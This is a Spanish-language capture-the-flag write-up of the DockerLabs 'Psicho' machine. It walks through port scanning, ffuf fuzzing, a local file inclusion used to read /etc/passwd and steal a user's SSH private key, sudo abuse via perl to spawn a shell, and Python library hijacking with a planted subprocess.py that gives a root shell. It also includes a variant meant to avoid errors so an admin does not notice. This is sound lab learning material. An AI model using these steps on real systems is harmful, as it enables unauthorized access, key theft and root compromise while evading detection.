Post

Psicho, DockerLabs

portada

Herramientas y recursos

En este reto de DockerLabs calificado como facil vamos a enumerar , localizar un file inclussion , abuso de sudo .

Tecnicas Herramientas
scan de puertos nmap
Busqueda de parametro ffuf
Local File inclusion curl , brave
abuso de sudo GTFObins , searchbins
Python Library Hijacking echo , nano

Reconocimiento y enumeracion

Lo primero como siempre le tiramos un nmap con los parámetros de costumbre.

1
sudo nmap -p- -sS -sC -sV --min-rate=5000 -n -Pn -oX psicho

reporte

Como muestra el reporte tenemos el el 22 ssh y el 80 ** , entramos a la web y revisamos manualmente a ver si nos han dejado alguna pista del lfi. No se ve nada execpto un comentario mal puesto que nos incita a pensar que el lfi esta aqui mismo asi que sin mas demora le tiramos un **ffuf

1
ffuf -u http://172.17.0.2/index.php\?FUZZ\=id -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt -c -fs 2596
  • -w Le damois el diccionario
  • -c Le damos color a la salida
  • -fs Le inidicamos que no nos muestre nada de lo que tenga ese tamaño “file size”

ffuf

Ya conociendo el parametro podemos regresar a la web para ver que podemos leer y si pudiesemos escalarlo a un log poisoning , despues de una prubas descarto el log poisoning , viendo el /etc/passwd conseguimos los usarios asi que vamos a ver sus ficheros.

passwd

Revisando los usaurios encontre una clave id_rsa lo que en principio nos va a permitir conectarnos por ssh al usuario que la tenia en este caso vaxei.

id_rsa

Nos la copiamos a nuestra maquina.

1
echo 'la clave' > id_rsa

Probemos a ver si traga.

permisos

1
chmod 600 id_rsa

No no olvidemos aunque siempre hay algo que si lo observamos nos indica el error.

vaxei

Estamos dentro y en la imagen podeis ver que nos ha dejado perl para realizar movimiento lateral a luisillo asi que seguimos los pasos de gtofbins.

1
sudo -u luisillo /usr/bin/perl -e 'exec "/bin/sh";'

Una vez dentro y como accedimos a sh ejecuto los exports correspondientes y obtengo una bash funcional y posteriomente los comando tipicos.

script

Nos ha dejado un script en python que no podemos modificar pero en cambio podemos escribir en el mismo directorio , vamos a revisar los imports que hace y vamos a colarle una libreira falsa o maliciosa :-).

permisosopt

Mirando el script creo que deberia aprovecharme de subprocess.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import subprocess
import os
import sys
import time

# F
def dummy_function(data):
    result = ""
    for char in data:
        result += char.upper() if char.islower() else char.lower()
    return result

# Código para ejecutar el script
os.system("echo Ojo Aqui")

# Simulación de procesamiento de datos
def data_processing():
    data = "This is some dummy data that needs to be processed."
    processed_data = dummy_function(data)
    print(f"Processed data: {processed_data}")

# Simulación de un cálculo inútil
def perform_useless_calculation():
    result = 0
    for i in range(1000000):
        result += i
    print(f"Useless calculation result: {result}")

def run_command():
    subprocess.run(['echo Hello!'], check=True)

def main():
    # Llamadas a funciones que no afectan el resultado final
    data_processing()
    perform_useless_calculation()
    
    # Comando real que se ejecuta
    run_command()

if __name__ == "__main__":
    main()

Si nos fijamos bien el script nos dice bien claro que la unica funcion que se ejecuta es run_command (o eso entiendo yo) , que es la que usa subprocess y es a su vez la que manda los comando al sistema operativo. La cuestion es que el script solo ejecuta un comando en subprocess y esa es la unica puerta abierta, podriamos usar time pero solo lo pausariamos la ejecucion e incluso podriamos tratar de replicar os si llamara a algun lugar para ejecutar e incluso leer archivos del sistema , no obstante si el script no ejecuta un comando con la libreria que secuestramos nunca usara nuestro codigo malicioso.

Una vez aclarados algunos conceptos que me desconcertaban creo la libreria y ejecuto.

1
2
echo 'import os; os.system("/bin/bash")' > /opt/subprocess.py
sudo -u root /usr/bin/python3 /opt/paw.py

Obtenemos la shell la de root

root

Si nos damos cuenta cuando salimos de root vemos que el script fallo , si tiene un loging de error el admin podria darse cuenta y seria interesante que el script continuara su ejecucion con normalidad despues de ejecutar nuestra libreria maliciosa, para ello podriamos emplear un codigo un poco mas elaborado no mucho mas y con consulta a la IA , no soy programador.

1
2
3
4
5
6
import os

def run(cmd, check=True):
    # Aquí puedes ejecutar lo que quieras
    os.system("/bin/bash -p")
    print(f"Interceptado: {cmd}")

Ejecuntando sin errores aparentes con este ultimo codigo

sinerror

Ejecutado con error pero funcionando igualmente y con el codigo de siempre.

conerror

Ahora si hasta aqui esta maquinita , aprender, disfrutar, y compartir , muchas gracias por leer.

This post is licensed under CC BY 4.0 by the author.

Comments powered by Disqus.